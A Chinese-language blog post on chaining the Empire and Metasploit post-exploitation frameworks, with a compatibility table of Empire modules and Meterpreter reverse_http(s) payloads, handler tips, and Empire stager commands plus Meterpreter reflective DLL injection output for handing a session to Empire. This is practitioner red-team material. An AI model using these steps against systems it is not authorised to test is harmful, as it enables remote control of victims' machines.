关于Empire和Matesploit联动的一些事

Empire to Meterpreter

最近重温了下empire框架,发现之前通过invoke_shellcode模块来执行meterpreter/reverse_https的方法在新版empire v2.5里面行不通,做了不少测试后得到以下几个结论:

  1. 单独执行msfvemon生成的exe文件,如果能反弹,那么就是empire的问题。
  2. windows 2008 r2下无法使用https隧道反弹[1],而windows 10没有这个问题。
  3. empire的https监听器好像是有问题的,已有人提出issue
  4. invode_shellcode模块只支持stagedmeterpreter/reverse_http[s],不支持meterpreter_reverse_http[s]

测试结果如下表(agentwindows 2008 r2为例)

empire模块 msf exploit msf payload 结果
invoke_metasploitpayload web_delivery windows/x64/meterpreter/reverse_https
invoke_metasploitpayload web_delivery windows/x64/meterpreter/reverse_http
invoke_metasploitpayload web_delivery windows/meterpreter/reverse_https
invoke_metasploitpayload web_delivery windows/meterpreter/reverse_http 正常
invoke_shellcode handler windows/x64/meterpreter/reverse_https
invoke_shellcode handler windows/x64/meterpreter/reverse_http 功能缺失
invoke_shellcode handler windows/meterpreter/reverse_https
invoke_shellcode handler windows/meterpreter/reverse_http 功能缺失
invoke_reflectivepeinjection msfvemon windows/x64/meterpreter/reverse_https
invoke_reflectivepeinjection msfvemon windows/x64/meterpreter/reverse_http
invoke_reflectivepeinjection msfvemon windows/meterpreter/reverse_https
invoke_reflectivepeinjection msfvemon windows/meterpreter/reverse_http

这里的功能缺失指的是,meterpreter反弹回来之后,能够执行的命令只有core comanand
因为阶段性加载dll的关系,后面的dll不知什么原因没有加载到。
通过load指令显示No response was received to the core_enumextcmd request.,也是加载失败。

一些TIPs

  • handler设置的payloadwindows/meterpreter/reverse_http时,可以同时处理stagedstageless两类的反弹。
  • web_deliverypayload通过设置url路径来重用端口;handle设置ExitOnSession false,可以让多个会话复用同个端口。
  • empire中的host,用起来更像是完整的url而不是ip。
  • web_delivery,单独使用也是个不错的选择。

Meterpreter to Empire

empire生成一个dll文件

(Empire: listeners) > usestager windows/dll
(Empire: stager/windows/dll) > set Listener http
(Empire: stager/windows/dll) > execute

meterpreter使用dll注入,设置好会话id和系统权限的进程id后执行。

msf post(windows/manage/reflective_dll_inject) > exploit 

[*] Running module against WEB
[*] Injecting /tmp/launcher.dll into 2400 ...
[*] DLL injected. Executing ReflectiveLoader ...
[+] DLL injected and invoked.
[*] Post module execution completed

TODO : Cobalt strike

[1] https://github.com/rapid7/metasploit-framework/wiki/The-ins-and-outs-of-HTTP-and-HTTPS-communications-in-Meterpreter-and-Metasploit-Stagers

你可能感兴趣的:(关于Empire和Matesploit联动的一些事)